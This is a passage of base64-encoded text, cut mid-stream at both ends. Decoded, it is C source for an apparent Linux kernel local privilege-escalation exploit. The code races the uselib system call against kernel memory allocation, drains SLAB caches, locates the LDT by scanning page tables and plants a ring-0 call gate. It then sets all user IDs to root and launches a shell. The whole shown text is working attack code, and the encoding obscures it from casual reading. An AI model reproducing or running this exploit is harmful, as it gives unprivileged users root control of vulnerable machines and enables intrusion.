wiCWFuZGwJJWVzcCwlZWF4CQkJXFxcXG5cXFwiDQoJXFxcIglwdXNobAklZWF4CQkJCVxcXFxuXFxcIg0KCVxcXCIJY2FsbAlrZXJuZWxfY29kZQkJCVxcXFxuXFxcIg0KCVxcXCIJYWRkbAkkNCwgJWVzcAkJCVxcXFxuXFxcIg0KCVxcXCIJcG9wbAklZHMJCQkJXFxcXG5cXFwiDQoJXFxcIglwb3BsCSVlcwkJCQlcXFxcblxcXCINCglcXFwiCXBvcGEJCQkJCVxcXFxuXFxcIg0KCVxcXCIJbHJldAkJCQkJXFxcXG5cXFwiDQogICAgKTsNCn0NCg0KDQppbnQgY2FsbG1lXzIoKQ0Kew0KCXJldHVybiB2YWwgKyB0YXNrX3NpemUgKyBhZGRyX21pbjsNCn0NCg0KDQp2b2lkIHNpZ2ZhaWxlZChpbnQgdikNCnsNCgljY250Kys7DQoJZmF0YWwoXFxcImxjYWxsXFxcIiwgMSk7DQp9DQoNCg0KLy8JbW9kaWZ5IExEVCAmIGV4ZWMNCnZvaWQgdHJ5X3RvX2V4cGxvaXQodW5zaWduZWQgYWRkcikNCnsNCnZvbGF0aWxlIGludCByLCAqdjsNCg0KCXByaW50ZihcXFwiXFxcXG5bIV0gdHJ5IHRvIGV4cGxvaXQgMHglLjh4XFxcIiwgYWRkcik7IGZmbHVzaChzdGRvdXQpOw0KCXVubGluayhsaWJuYW1lKTsNCg0KCXIgPSBzeXNfbXByb3RlY3QoYWRkciwgUEFHRV9TSVpFLCBQUk9UX1JFQUR8UFJPVF9XUklURXxtYXBfZmxhZ3MpOw0KCWlmKHIpIGZhdGFsKFxcXCJtcHJvdGVjdCAxXFxcIiwgMSk7DQoNCi8vCWNoZWNrIGlmIHJlYWxseSBMRFQNCgl2ID0gKHZvaWQqKSAoYWRkciArIChFTlRSWV9HQVRFKkxEVF9FTlRSWV9TSVpFICUgUEFHRV9TSVpFKSApOw0KCXNpZ25hbChTSUdTRUdWLCBzaWdmYWlsZWQpOw0KCXIgPSAqdjsNCglpZihyICE9IE1BR0lDKSB7DQoJCXByaW50ZihcXFwiXFxcXG5bLV0gRkFJTEVEIHZhbCA9IDB4JS44eFxcXCIsIHIpOyBmZmx1c2goc3Rkb3V0KTsNCgkJZmF0YWwoXFxcImZpbmQgTERUXFxcIiwgMSk7DQoJfQ0KDQovLwl5ZWFoLCBzZXR1cCBDUEwwIGdhdGUNCgl2WzBdID0gKCh1bnNpZ25lZCkoU0VMX0xDUyk8PDE2KSB8ICgodW5zaWduZWQpa2NvZGUgJiAweGZmZmZVKTsNCgl2WzFdID0gKCh1bnNpZ25lZClrY29kZSAmIH4weGZmZmZVKSB8IDB4ZWMwMFU7DQoJcHJpbnRmKFxcXCJcXFxcblsrXSBnYXRlIG1vZGlmaWVkICggMHglLjh4IDB4JS44eCApXFxcIiwgdlswXSwgdlsxXSk7IGZmbHVzaChzdGRvdXQpOw0KDQovLwlzZXR1cCBDUEwwIHNlZ21lbnQgZGVzY3JpcHRvcnMgKHdlIG5lZWQgdGhlIFxcXCdhY2Nlc3NlZFxcXCcgdmVyc2lvbnMgOy0pDQoJdiA9ICh2b2lkKikgKGFkZHIgKyAoRU5UUllfTENTKkxEVF9FTlRSWV9TSVpFICUgUEFHRV9TSVpFKSApOw0KCXZbMF0gPSAweDAwMDBmZmZmOyAvKiBrZXJuZWwgNEdCIGNvZGUgYXQgMHgwMDAwMDAwMCAqLw0KCXZbMV0gPSAweDAwY2Y5YjAwOw0KDQoJdiA9ICh2b2lkKikgKGFkZHIgKyAoRU5UUllfTERTKkxEVF9FTlRSWV9TSVpFICUgUEFHRV9TSVpFKSApOw0KCXZbMF0gPSAweDAwMDBmZmZmOyAvKiBrZXJuZWwgNEdCIGRhdGEgYXQgMHgwMDAwMDAwMCAqLw0KCXZbMV0gPSAweDAwY2Y5MzAwOw0KDQovLwlyZXByb3RlY3QgdG8gZ2V0IG9ubHkgb25lIGJpZyBWTUENCglyID0gc3lzX21wcm90ZWN0KGFkZHIsIFBBR0VfU0laRSwgUFJPVF9SRUFEfG1hcF9mbGFncyk7DQoJaWYocikgZmF0YWwoXFxcIm1wcm90ZWN0IDJcXFwiLCAxKTsNCg0KLy8JQ1BMMCB0cmFuc2l0aW9uDQoJc3lzX3NjaGVkX3lpZWxkKCk7DQoJdmFsID0gY2FsbG1lXzEoKSArIGNhbGxtZV8yKCk7DQoJYXNtKFxcXCJsY2FsbCAkXFxcIiB4c3RyKFNFTF9HQVRFKSBcXFwiLCQweDBcXFwiKTsNCgkvL2lmKCBnZXR1aWQoKT09MCB8fCAodmFsPT0zMTMzNyAmJiBzdHJsZW4oaGVsbGMwZGUpPT0zMTMzNykgKSB7DQoJaWYgKGdldHVpZCgpPT0wKSB7DQoJCXByaW50ZihcXFwiXFxcXG5bK10gZXhwbG9pdGVkLCB1aWQ9MFxcXFxuXFxcXG5cXFwiICk7IGZmbHVzaChzdGRvdXQpOw0KCX0gZWxzZSB7DQoJCXByaW50ZihcXFwiXFxcXG5bLV0gdWlkIGNoYW5nZSBmYWlsZWRcXFwiICk7IGZmbHVzaChzdGRvdXQpOw0KCQlzaWdmYWlsZWQoMCk7DQoJfQ0KCXNpZ25hbChTSUdURVJNLCBTSUdfSUdOKTsNCglraWxsKDAsIFNJR1RFUk0pOw0KCXNldHJlc3VpZCgwLCAwLCAwKTsNCglleGVjbChzaGVsbG5hbWUsIFxcXCJzaFxcXCIsIE5VTEwpOw0KCWZhdGFsKFxcXCJleGVjbFxcXCIsIDApOw0KfQ0KDQoNCnZvaWQgc2Nhbl9tbV9maW5pc2goKTsNCnZvaWQgc2Nhbl9tbV9zdGFydCgpOw0KDQoNCi8vCWtlcm5lbCBwYWdlIHRhYmxlIHNjYW4gY29kZQ0Kdm9pZCBzY2FuX21tKCkNCnsNCgltYXBfYWRkciAtPSBQQUdFX1NJWkU7DQoJaWYobWFwX2FkZHIgPD0gKHVuc2lnbmVkKWFkZHJfbWluKQ0KCQlzY2FuX21tX3N0YXJ0KCk7DQoNCglzY250PTA7DQoJdmFsID0gKihpbnQqKW1hcF9hZGRyOw0KCXNjYW5fbW1fZmluaXNoKCk7DQp9DQoNCg0Kdm9pZCBzY2FuX21tX2ZpbmlzaCgpDQp7DQpyZXRyeToNCglfX2FzbV9fKFxcXCJtb3ZsCSUwLCAlJWVzcFxcXCIgOiA6XFxcIm1cXFwiKG9sZF9lc3ApICk7DQoNCglpZihzY250KSB7DQoJCXBhZ2VtYXBbcGlkeF0gXj0gMTsNCgl9DQoJZWxzZSB7DQoJCXN5c19tYWR2aXNlKCh2b2lkKiltYXBfYWRkciwgUEFHRV9TSVpFLCBNQURWX0RPTlRORUVEKTsNCgl9DQoJcGlkeC0tOw0KCXNjYW5fbW0oKTsNCglnb3RvIHJldHJ5Ow0KfQ0KDQoNCi8vCW1ha2Uga2VybmVsIHBhZ2UgbWFwcyBiZWZvcmUgYW5kIGFmdGVyIGFsbG9jYXRpbmcgTERUDQp2b2lkIHNjYW5fbW1fc3RhcnQoKQ0Kew0Kc3RhdGljIGludCBucGc9MDsNCnN0YXRpYyBzdHJ1Y3QgbW9kaWZ5X2xkdF9sZHRfcyBsOw0KLy9zdGF0aWMgc3RydWN0IHVzZXJfZGVzYyBsOw0KCXBudW0rKzsNCglpZihwbnVtPT0xKSB7DQoJCXBpZHggPSBtYXhfcGFnZS0xOw0KCX0NCgllbHNlIGlmKHBudW09PTIpIHsNCgkJbWVtc2V0KCZsLCAwLCBzaXplb2YobCkpOw0KCQlsLmVudHJ5X251bWJlciA9IExEVF9FTlRSSUVTLTE7DQoJCWwuc2VnXzMyYml0ID0gMTsNCgkJbC5iYXNlX2FkZHIgPSBNQUdJQyA+PiAxNjsNCgkJbC5saW1pdCA9IE1BR0lDICYgMHhmZmZmOw0KCQlsLmxpbWl0X2luX3BhZ2VzID0gMTsNCgkJaWYoIG1vZGlmeV9sZHQoMSwgJmwsIHNpemVvZihsKSkgIT0gMCApDQoJCQlmYXRhbChcXFwibW9kaWZ5X2xkdFxcXCIsIDEpOw0KCQlwaWR4ID0gbWF4X3BhZ2UtMTsNCgl9DQoJZWxzZSBpZihwbnVtPT0zKSB7DQoJCW5wZz0wOw0KCQlmb3IocGlkeD0wOyBwaWR4PD1tYXhfcGFnZS0xOyBwaWR4KyspIHsNCgkJCWlmKHBhZ2VtYXBbcGlkeF0pIHsNCgkJCQlucGcrKzsNCgkJCX0NCgkJCWVsc2UgaWYobnBnID09IExEVF9QQUdFUykgew0KCQkJCW5wZz0wOw0KCQkJCXRyeV90b19leHBsb2l0KGFkZHJfbWluKyhwaWR4LTEpKlBBR0VfU0laRSk7DQoJCQl9IGVsc2Ugew0KCQkJCW5wZz0wOw0KCQkJfQ0KCQl9DQoJCWZhdGFsKFxcXCJmaW5kIExEVFxcXCIsIDEpOw0KCX0NCg0KLy8Jc2F2ZSBjb250ZXh0ICYgc2NhbiBwYWdlIHRhYmxlDQoJX19hc21fXyhcXFwibW92bAklJWVzcCwgJTBcXFwiIDogOlxcXCJtXFxcIihvbGRfZXNwKSApOw0KCW1hcF9hZGRyID0gYWRkcl9tYXg7DQoJc2Nhbl9tbSgpOw0KfQ0KDQoNCi8vCXJldHVybiBudW1iZXIgb2YgYXZhaWxhYmxlIFNMQUIgb2JqZWN0cyBpbiBjYWNoZQ0KaW50IGdldF9zbGFiX29ianMoY29uc3QgY2hhciAqc24pDQp7DQpzdGF0aWMgaW50IGMsIGQsIHUgPSAwLCBhID0gMDsNCkZJTEUgKmZwPU5VTEw7DQpjaGFyIHgxWzIwXTsNCg0KCWZwID0gZm9wZW4oXFxcIi9wcm9jL3NsYWJpbmZvXFxcIiwgXFxcInJcXFwiKTsNCglpZighZnApDQoJCWZhdGFsKFxcXCJnZXRfc2xhYl9vYmpzOiBmb3BlblxcXCIsIDApOw0KCWZnZXRzKG5hbWUsIHNpemVvZihuYW1lKSAtIDEsIGZwKTsNCglkbyB7DQoJCWMgPSB1ID0gYSA9IC0xOw0KCQlpZiAoIWZnZXRzKGxpbmUsIHNpemVvZihsaW5lKSAtIDEsIGZwKSkNCgkJCWJyZWFrOw0KCQljID0gc3NjYW5mKGxpbmUsIFxcXCIlcyAldSAldSAldSAldSAldSAldVxcXCIsIG5hbWUsICZ1LCAmYSwNCgkJCSAgICZkLCAmZCwgJmQsICZkKTsNCgl9IHdoaWxlIChzdHJjbXAobmFtZSwgc24pKTsNCgljbG9zZShmaWxlbm8oZnApKTsNCglmY2xvc2UoZnApOw0KCXJldHVybiBjID09IDcgPyBhIC0gdSA6IC0xOw0KfQ0KDQpsb25nIG1lbW1hcGVkX3NpemUgPSAwOw0KDQovLwlsZWF2ZSBvbmUgb2JqZWN0IGluIHRoZSBTTEFCDQppbmxpbmUgdm9pZCBwcmVwYXJlX3NsYWIoKQ0Kew0KaW50ICpyOw0KDQoJbWFwX2FkZHIgLT0gUEFHRV9TSVpFOw0KCW1hcF9jb3VudCsrOw0KCW1hcF9mbGFncyBePSBQUk9UX1JFQUQ7DQoJCQ0KCXIgPSAodm9pZCopc3lzX21tYXAyKCh1bnNpZ25lZCltYXBfYWRkciwgUEFHRV9TSVpFLCBtYXBfZmxhZ3MsDQoJCQkgICAgIE1BUF9QUklWQVRFfE1BUF9BTk9OWU1PVVN8TUFQX0ZJWEVELCAwLCAwKTsNCglpZihNQVBfRkFJTEVEID09IHIpIHsNCgkJcHJpbnRmKFxcXCItLT4gcHJlcGFyZV9zbGFiKCksICVkTWJcXFxcblxcXCIsIG1lbW1hcGVkX3NpemUvMTAyNC8xMDI0KTsNCgkJZmF0YWwoXFxcInRyeSBhZ2FpblxcXCIsIDApOw0KCX0NCgltZW1tYXBlZF9zaXplICs9IFBBR0VfU0laRTsNCgkqciA9IG1hcF9hZGRyOw0KfQ0KDQoNCi8vCXNpZyBoYW5kbGVycw0Kdm9pZCBzZWd2Y250KGludCB2KQ0Kew0KCXNjbnQrKzsNCglzY2FuX21tX2ZpbmlzaCgpOw0KfQ0KDQoNCi8vCWNoaWxkIHJlYXANCnZvaWQgcmVhcGVyKGludCB2KQ0Kew0KCWNjbnQrKzsNCgl3YWl0cGlkKDAsICZ2LCBXTk9IQU5HfFdVTlRSQUNFRCk7DQp9DQoNCg0KLy8Jc29tZXRpbWVzIEkgZ2V0IHRoZSBWTUFzIGluIHJldmVyc2VkIG9yZGVyLi4uDQovLwlzbyBqdXN0IHVzZSBhbnlvbmUgb2YgdGhlIHR3byBidXQgdGFrZSBjYXJlIGFib3V0IHRoZSBmbGFncw0Kdm9pZCBjaGVja192bWFfZmxhZ3MoKTsNCg0Kdm9pZCB2cmV2ZXJzZWQoaW50IHYpDQp7DQoJbWFwX2ZsYWdzID0gMDsNCgljaGVja192bWFfZmxhZ3MoKTsNCn0NCg0KDQp2b2lkIGNoZWNrX3ZtYV9mbGFncygpDQp7DQoJaWYobWFwX2ZsYWdzKSB7DQoJCV9fYXNtX18oXFxcIm1vdmwJJSVlc3AsICUwXFxcIiA6IDpcXFwibVxcXCIob2xkX2VzcCkgKTsNCgl9IGVsc2Ugew0KCQlfX2FzbV9fKFxcXCJtb3ZsCSUwLCAlJWVzcFxcXCIgOiA6XFxcIm1cXFwiKG9sZF9lc3ApICk7DQoJCWdvdG8gb3V0Ow0KCX0NCglzaWduYWwoU0lHU0VHViwgdnJldmVyc2VkKTsNCgl2YWwgPSAqICh1bnNpZ25lZCopKGxpYl9hZGRyICsgUEFHRV9TSVpFKTsNCm91dDoNCn0NCg0KDQovLwl1c2UgZWxmIGxpYnJhcnkgYW5kIHRyeSB0byBzbGVlcCBvbiBrbWFsbG9jDQp2b2lkIGV4cGxvaXRtZSgpDQp7DQppbnQgciwgc3osIHBjbnQ9MDsNCnN0YXRpYyBjaGFyIHNtaWxleVtdPVxcXCItXFxcXFxcXFx8Ly1cXFxcXFxcXHwvXFxcIjsNCg0KLy8JcHJpbnRmKFxcXCJcXFxcbiAgICBjYXQgL3Byb2MvJWQvbWFwc1xcXCIsIGdldHBpZCgpICk7IGZmbHVzaChzdGRvdXQpOw0KLy8JaGVscGVyIGNsb25lDQoJZmluaXNoPTA7IGNjbnQ9MDsNCglzeiA9IHNpemVvZihjc3RhY2spIC8gc2l6ZW9mKGNzdGFja1swXSk7DQoJY3BpZCA9IGNsb25lKCZyYWNlbWUsICh2b2lkKikgJmNzdGFja1tzei0xNl0sDQoJCQlDTE9ORV9WTXxDTE9ORV9TSUdIQU5EfENMT05FX0ZTfFNJR0NITEQsIE5VTEwgKTsNCglpZigtMT09Y3BpZCkgZmF0YWwoXFxcImNsb25lXFxcIiwgMCk7DQoNCi8vCXN5bmNocm9uaXplIHRocmVhZHMNCgl3aGlsZSghZmluaXNoKSBzeXNfc2NoZWRfeWllbGQoKTsNCglmaW5pc2g9MDsNCglpZighc2lsZW50KSB7DQoJCXByaW50ZihcXFwiXFxcXG5cXFwiKTsgZmZsdXNoKHN0ZG91dCk7DQoJfQ0KDQovLwl0cnkgdG8gaGl0IHRoZSBrbWFsbG9jIHJhY2UNCglmb3IoOzspIHsNCg0KCQlyID0gZ2V0X3NsYWJfb2JqcyhcXFwidm1fYXJlYV9zdHJ1Y3RcXFwiKTsNCgkJLy9wcmludGYoXFxcIlxcXFxuZnJlZSBzbGFiID0gJWRcXFxcblxcXCIscik7DQoJCXdoaWxlKHIgIT0gMSAmJiByID4gMCkgew0KCQkJcHJlcGFyZV9zbGFiKCk7DQoJCQlyLS07DQoJCX0NCg0KCQlzeXNfZ2V0dGltZW9mZGF5KCZ0bTEsIE5VTEwpOw0KCQlnbyA9IDE7DQoJCXI9c3lzX3VzZWxpYihsaWJuYW1lKTsNCgkJZ28gPSAwOw0KCQlpZihyKSBmYXRhbChcXFwidXNlbGliXFxcIiwgMCk7DQoJCWlmKGZpbmlzaCkgYnJlYWs7DQoNCi8vCXdpcGUgbGliIFZNQXMgYW5kIHRyeSBhZ2Fpbg0KCQlyID0gc3lzX211bm1hcChsaWJfYWRkciwgTElCX1NJWkUpOw0KCQlpZihyKSBmYXRhbChcXFwibXVubWFwIGxpYlxcXCIsIDApOw0KCQlpZihjY250KSBnb3RvIGZhaWxlZDsNCg0KCQlpZiggIXNpbGVudCAmJiAhKHBjbnQlNjQpICkgew0KCQkJcHJpbnRmKFxcXCJcXFxcciAgICBXYWl0Li4uICVjXFxcIiwgc21pbGV5WyAocGNudC82NCklOCBdKTsNCgkJCWZmbHVzaChzdGRvdXQpOw0KCQl9DQoJCXBjbnQrKzsNCgl9DQoNCi8vCXNlZW1zIHdlIHJhY2VkLCBmcmVlIG1lbQ0KCXIgPSBzeXNfbXVubWFwKG1hcF9hZGRyLCBtYXBfYmFzZS1tYXBfYWRkciArIFBBR0VfU0laRSk7DQoJaWYocikgZmF0YWwoXFxcIm11bm1hcCAxXFxcIiwgMCk7DQoJciA9IHN5c19tdW5tYXAobGliX2FkZHIsIFBBR0VfU0laRSk7DQoJaWYocikgZmF0YWwoXFxcIm11bm1hcCAyXFxcIiwgMCk7DQoJDQovLwlyZWxheCBrc3dhcGQNCglzeXNfZ2V0dGltZW9mZGF5KCZ0bTEsIE5VTEwpOw0KCWZvcig7Oykgew0KCQlzeXNfc2NoZWRfeWllbGQoKTsNCgkJc3lzX2dldHRpbWVvZmRheSgmdG0yLCBOVUxMKTsNCgkJZGVsdGEgPSB0bWRpZmYoJnRtMSwgJnRtMik7DQoJCWlmKCB3dGltZSoxMDAwMDAwVSA8PSAodW5zaWduZWQpZGVsdGEgKSBicmVhazsNCgl9DQoNCi8vCXdlIG5lZWQgdG8gY2hlY2sgdGhlIFBST1RfRVhFQyBmbGFnDQoJbWFwX2ZsYWdzID0gUFJPVF9FWEVDOw0KCWNoZWNrX3ZtYV9mbGFncygpOw0KCWlmKCFtYXBfZmxhZ3MpIHsNCgkJcHJpbnRmKFxcXCJcXFxcbiAgICBWTUFzIHJldmVyc2VkXFxcIik7IGZmbHVzaChzdGRvdXQpOw0KCX0NCg0KLy8Jd3JpdGUgcHJvdGVjdCBicmtcXFwncyBWTUEgdG8gZm9vbCB2bV9lbm91Z2hfbWVtb3J5KCkNCglyID0gc3lzX21wcm90ZWN0KChsaWJfYWRkciArIFBBR0VfU0laRSksIExJQl9TSVpFLVBBR0VfU0laRSwNCgkJCSBQUk9UX1JFQUR8bWFwX2ZsYWdzKTsNCglpZigtMT09cikgeyBmYXRhbChcXFwibXByb3RlY3QgYnJrXFxcIiwgMCk7IH0NCg0KLy8JdGhpcyB3aWxsIGZpbmFsbHkgbWFrZSB0aGUgYmlnIFZNQS4uLg0KCXN6ID0gKDAtbGliX2FkZHIpIC0gTElCX1NJWkUgLSBQQUdFX1NJWkU7DQpleHBhbmQ6DQoJciA9IHN5c19tYWR2aXNlKCh2b2lkKikobGliX2FkZHIgKyBQQUdFX1NJWkUpLA0KCQkJTElCX1NJWkUtUEFHRV9TSVpFLCBNQURWX05PUk1BTCk7DQoJaWYocikgZmF0YWwoXFxcIm1hZHZpc2VcXFwiLCAwKTsNCglyID0gc3lzX21yZW1hcChsaWJfYWRkciArIExJQl9TSVpFLVBBR0VfU0laRSwNCgkJCVBBR0VfU0laRSwgc3osIE1SRU1BUF9NQVlNT1ZFLCAwKTsNCglpZigtMT09cikgew0KCQlpZigwPT1zeikgew0KCQkJZmF0YWwoXFxcIm1yZW1hcDogZXhwYW5kIFZNQVxcXCIsIDApOw0KCQl9IGVsc2Ugew0KCQkJc3ogLT0gUEFHRV9TSVpFOw0KCQkJZ290byBleHBhbmQ7DQoJCX0NCgl9DQoJdm1hX3N0YXJ0ID0gbGliX2FkZHIgKyBQQUdFX1NJWkU7DQoJdm1hX2VuZCA9IHZtYV9zdGFydCArIHN6ICsgMipQQUdFX1NJWkU7DQoJcHJpbnRmKFxcXCJcXFxcbiAgICBleHBhbmRlZCBWTUEgKDB4JS44eC0weCUuOHgpXFxcIiwgdm1hX3N0YXJ0LCB2bWFfZW5kKTsNCglmZmx1c2goc3Rkb3V0KTsNCg0KLy8JdHJ5IHRvIGZpZ3VyZSBrZXJuZWwgbGF5b3V0DQoJc2lnbmFsKFNJR0NITEQsIHJlYXBlcik7DQoJc2lnbmFsKFNJR1NFR1YsIHNlZ3ZjbnQpOw0KCXNpZ25hbChTSUdCVVMsIHNlZ3ZjbnQpOw0KCXNjYW5fbW1fc3RhcnQoKTsNCg0KZmFpbGVkOg0KCXByaW50ZihcXFwiZmFpbGVkOlxcXFxuXFxcIik7DQoJZmF0YWwoXFxcInRyeSBhZ2FpblxcXCIsIDApOw0KDQp9DQoNCg0KLy8JbWFrZSBmYWtlIEVMRiBsaWJyYXJ5DQp2b2lkIG1ha2VfbGliKCkNCnsNCnN0cnVjdCBlbGZoZHIgZWg7DQpzdHJ1Y3QgZWxmX3BoZHIgZXBoOw0Kc3RhdGljIGNoYXIgdG1wYnVmW1BBR0VfU0laRV07DQppbnQgZmQ7DQoNCi8vCW1ha2Ugb3VyIGVsZiBsaWJyYXJ5DQoJdW1hc2soMDIyKTsNCgl1bmxpbmsobGlibmFtZSk7DQoJZmQ9b3BlbihsaWJuYW1lLCBPX1JEV1J8T19DUkVBVHxPX1RSVU5DLCAwNzU1KTsNCglpZihmZDwwKSBmYXRhbChcXFwib3BlbiBsaWIgKFxcXCJMSUJOQU1FXFxcIiBub3Qgd3JpdGFibGU/KVxcXCIsIDApOw0KCW1lbXNldCgmZWgsIDAsIHNpemVvZihlaCkgKTsNCg0KLy8JZWxmIGV4ZWMgaGVhZGVyDQoJbWVtY3B5KGVoLmVfaWRlbnQsIEVMRk1BRywgU0VMRk1BRyk7DQoJZWguZV90eXBlID0gRVRfRVhFQzsNCgllaC5lX21hY2hpbmUgPSBFTV8zODY7DQoJZWguZV9waGVudHNpemUgPSBzaXplb2Yoc3RydWN0IGVsZl9waGRyKTsNCgllaC5lX3BobnVtID0gMTsNCgllaC5lX3Bob2ZmID0gc2l6ZW9mKGVoKTsNCgl3cml0ZShmZCwgJmVoLCBzaXplb2YoZWgpICk7DQoNCi8vCXNlY3Rpb24gaGVhZGVyOg0KCW1lbXNldCgmZXBoLCAwLCBzaXplb2YoZXBoKSApOw0KCWVwaC5wX3R5cGUgPSBQVF9MT0FEOw0KCWVwaC5wX29mZnNldCA9IDQwOTY7DQoJZXBoLnBfZmlsZXN6ID0gNDA5NjsNCgllcGgucF92YWRkciA9IGxpYl9hZGRyOw0KCWVwaC5wX21lbXN6ID0gTElCX1NJWkU7DQoJZXBoLnBfZmxhZ3MgPSBQRl9XfFBGX1J8UEZfWDsNCgl3cml0ZShmZCwgJmVwaCwgc2l6ZW9mKGVwaCkgKTsNCg0KLy8JZXhlY2FibGUgY29kZQ0KCWxzZWVrKGZkLCA0MDk2LCBTRUVLX1NFVCk7DQoJbWVtc2V0KHRtcGJ1ZiwgMHg5MCwgc2l6ZW9mKHRtcGJ1ZikgKTsNCgl3cml0ZShmZCwgJnRtcGJ1Ziwgc2l6ZW9mKHRtcGJ1ZikgKTsNCgljbG9zZShmZCk7DQp9DQoNCg0KLy8JbW92ZSBzdGFjayBkb3duICMyDQp2b2lkIHByZXBhcmVfZmluaXNoKCkNCnsNCmludCByOw0Kc3RhdGljIHN0cnVjdCBzeXNpbmZvIHNpOw0KDQoJb2xkX2VzcCAmPSB+KFBBR0VfU0laRS0xKTsNCglvbGRfZXNwIC09IFBBR0VfU0laRTsNCgl0YXNrX3NpemUgPSAoKHVuc2lnbmVkKW9sZF9lc3AgKyAxIEdCICkgLyAoMSBHQikgKiAxIEdCOw0KCXIgPSBzeXNfbXVubWFwKG9sZF9lc3AsIHRhc2tfc2l6ZS1vbGRfZXNwKTsNCglpZihyKSBmYXRhbChcXFwidW5tYXAgc3RhY2tcXFwiLCAwKTsNCg0KLy8Jc2V0dXAgcnQgZW52DQoJdWlkID0gZ2V0dWlkKCk7DQoJbGliX2FkZHIgPSB0YXNrX3NpemUgLSBMSUJfU0laRSAtIFBBR0VfU0laRTsNCglpZihtYXBfYmFzZSkNCgkJbWFwX2FkZHIgPSBtYXBfYmFzZTsNCgllbHNlDQoJCW1hcF9iYXNlID0gbWFwX2FkZHIgPSAobGliX2FkZHIgLSBQR0RfU0laRSkgJiB+KFBHRF9TSVpFLTEpOw0KCXByaW50ZihcXFwiXFxcXG5bK10gbW92ZWQgc3RhY2sgJXgsIHRhc2tfc2l6ZT0weCUuOHgsIG1hcF9iYXNlPTB4JS44eFxcXCIsDQoJCW9sZF9lc3AsIHRhc2tfc2l6ZSwgbWFwX2Jhc2UpOyBmZmx1c2goc3Rkb3V0KTsNCg0KLy8JY2hlY2sgcGh5c2ljYWwgbWVtICYgcHJlcGFyZQ0KCXN5c2luZm8oJnNpKTsNCglhZGRyX21pbiA9IHRhc2tfc2l6ZSArIHNpLnRvdGFscmFtOw0KCWFkZHJfbWluID0gKGFkZHJfbWluICsgUEdEX1NJWkUgLSAxKSAmIH4oUEdEX1NJWkUtMSk7DQoJYWRkcl9tYXggPSBhZGRyX21pbiArIHNpLnRvdGFscmFtOw0KCWlmKCh1bnNpZ25lZClhZGRyX21heCA+PSAweGZmZmZlMDAwIHx8ICh1bnNpZ25lZClhZGRyX21heCA8ICh1bnNpZ25lZClhZGRyX21pbikNCgkJYWRkcl9tYXggPSAweGZmZmZkMDAwOw0KDQoJcHJpbnRmKFxcXCJcXFxcblsrXSB2bWFsbG9jIGFyZWEgMHglLjh4IC0gMHglLjh4XFxcIiwgYWRkcl9taW4sIGFkZHJfbWF4KTsNCgltYXhfcGFnZSA9IChhZGRyX21heCAtIGFkZHJfbWluKSAvIFBBR0VfU0laRTsNCglwYWdlbWFwID0gbWFsbG9jKCBtYXhfcGFnZSArIDMyICk7DQoJaWYoIXBhZ2VtYXApIGZhdGFsKFxcXCJtYWxsb2MgcGFnZW1hcFxcXCIsIDEpOw0KCW1lbXNldChwYWdlbWFwLCAwLCBtYXhfcGFnZSArIDMyKTsNCg0KLy8JZ28gZ28NCgltYWtlX2xpYigpOw0KCWV4cGxvaXRtZSgpOw0KfQ0KDQoNCi8vCW1vdmUgc3RhY2sgZG93biAjMQ0Kdm9pZCBwcmVwYXJlKCkNCnsNCnVuc2lnbmVkIHA9MDsNCg0KCWVudmlyb24gPSBteWVudjsNCg0KCXAgPSBzeXNfbW1hcDIoIDAsIFNUQUNLX1NJWkUsIFBST1RfUkVBRHxQUk9UX1dSSVRFLA0KCQkgICAgICAgTUFQX1BSSVZBVEV8TUFQX0FOT05ZTU9VUywgMCwgMAkpOw0KCWlmKC0xPT1wKSBmYXRhbChcXFwibW1hcDIgc3RhY2tcXFwiLCAwKTsNCglwICs9IFNUQUNLX1NJWkUgLSA2NDsNCg0KCV9fYXNtX18oXFxcIm1vdmwJJSVlc3AsICUwCVxcXFxuXFxcIg0KCQlcXFwibW92bCAJJTEsICUlZXNwCVxcXFxuXFxcIg0KCQk6IDogXFxcIm1cXFwiKG9sZF9lc3ApLCBcXFwibVxcXCIocCkNCgkpOw0KDQoJcHJlcGFyZV9maW5pc2goKTsNCn0NCg0KDQp2b2lkIGNobGRjbnQoaW50IHYpDQp7DQoJY2NudCsrOw0KfQ0KDQoNCi8vCWFsbG9jIHNsYWIgb2JqZWN0cy4uLg0KaW5saW5lIHZvaWQgZG9fd2lwZSgpDQp7DQppbnQgKnIsIGM9MCwgbGVmdD0wOw0KDQoJX19hc21fXyhcXFwibW92bAklJWVzcCwgJTBcXFwiIDogOiBcXFwibVxcXCIob2xkX2VzcCkgKTsNCg0KCW9sZF9lc3AgPSAob2xkX2VzcCAtIFBHRF9TSVpFKzEpICYgfihQR0RfU0laRS0xKTsNCglvbGRfZXNwID0gbWFwX2Jhc2U/IG1hcF9iYXNlIDogb2xkX2VzcDsNCg0KCWZvcig7Oykgew0KCQlpZihsZWZ0PD0wKQ0KCQkJbGVmdCA9IGdldF9zbGFiX29ianMoXFxcInZtX2FyZWFfc3RydWN0XFxcIik7DQoJCWlmKGxlZnQgPD0gU0xBQl9USFJTSCkNCgkJCWJyZWFrOw0KCQlsZWZ0LS07DQoNCgkJbWFwX2ZsYWdzIF49IFBST1RfUkVBRDsNCgkJb2xkX2VzcCAtPSBQQUdFX1NJWkU7DQoJCXIgPSAodm9pZCopc3lzX21tYXAyKG9sZF9lc3AsIFBBR0VfU0laRSwgbWFwX2ZsYWdzLA0KCQkJTUFQX1BSSVZBVEV8TUFQX0FOT05ZTU9VU3xNQVBfRklYRUQsIDAsIDAgKTsNCgkJaWYoTUFQX0ZBSUxFRCA9PSByKQ0KCQkJYnJlYWs7DQoNCgkJaWYoYz5TTEFCX1BFUl9DSExEKQ0KCQkJYnJlYWs7DQoJCWlmKCAoYyUxMDI0KT09MCApIHsNCgkJCWlmKCFjKSBwcmludGYoXFxcIlxcXFxuXFxcIik7DQoJCQlwcmludGYoXFxcIlxcXFxyICAgIGNoaWxkICVkIFZNQXMgJWRcXFwiLCB2YWwsIGMpOw0KCQkJZmZsdXNoKHN0ZG91dCk7DQoJCX0NCgkJYysrOw0KCX0NCglwcmludGYoXFxcIlxcXFxyICAgIGNoaWxkICVkIFZNQXMgJWRcXFwiLCB2YWwsIGMpOw0KCWZmbHVzaChzdGRvdXQpOw0KCWtpbGwoZ2V0cHBpZCgpLCBTSUdVU1IxKTsNCglmb3IoOzspIHBhdXNlKCk7DQp9DQoNCg0KLy8JZW1wdHkgU0xBQiBjYWNoZXMNCnZvaWQgd2lwZV9zbGFiKCkNCnsNCglzaWduYWwoU0lHVVNSMSwgY2hsZGNudCk7DQoJcHJpbnRmKFxcXCJcXFxcblsrXSBTTEFCIGNsZWFudXBcXFwiKTsgZmZsdXNoKHN0ZG91dCk7DQoJZm9yKDs7KSB7DQoJCWNjbnQ9MDsNCg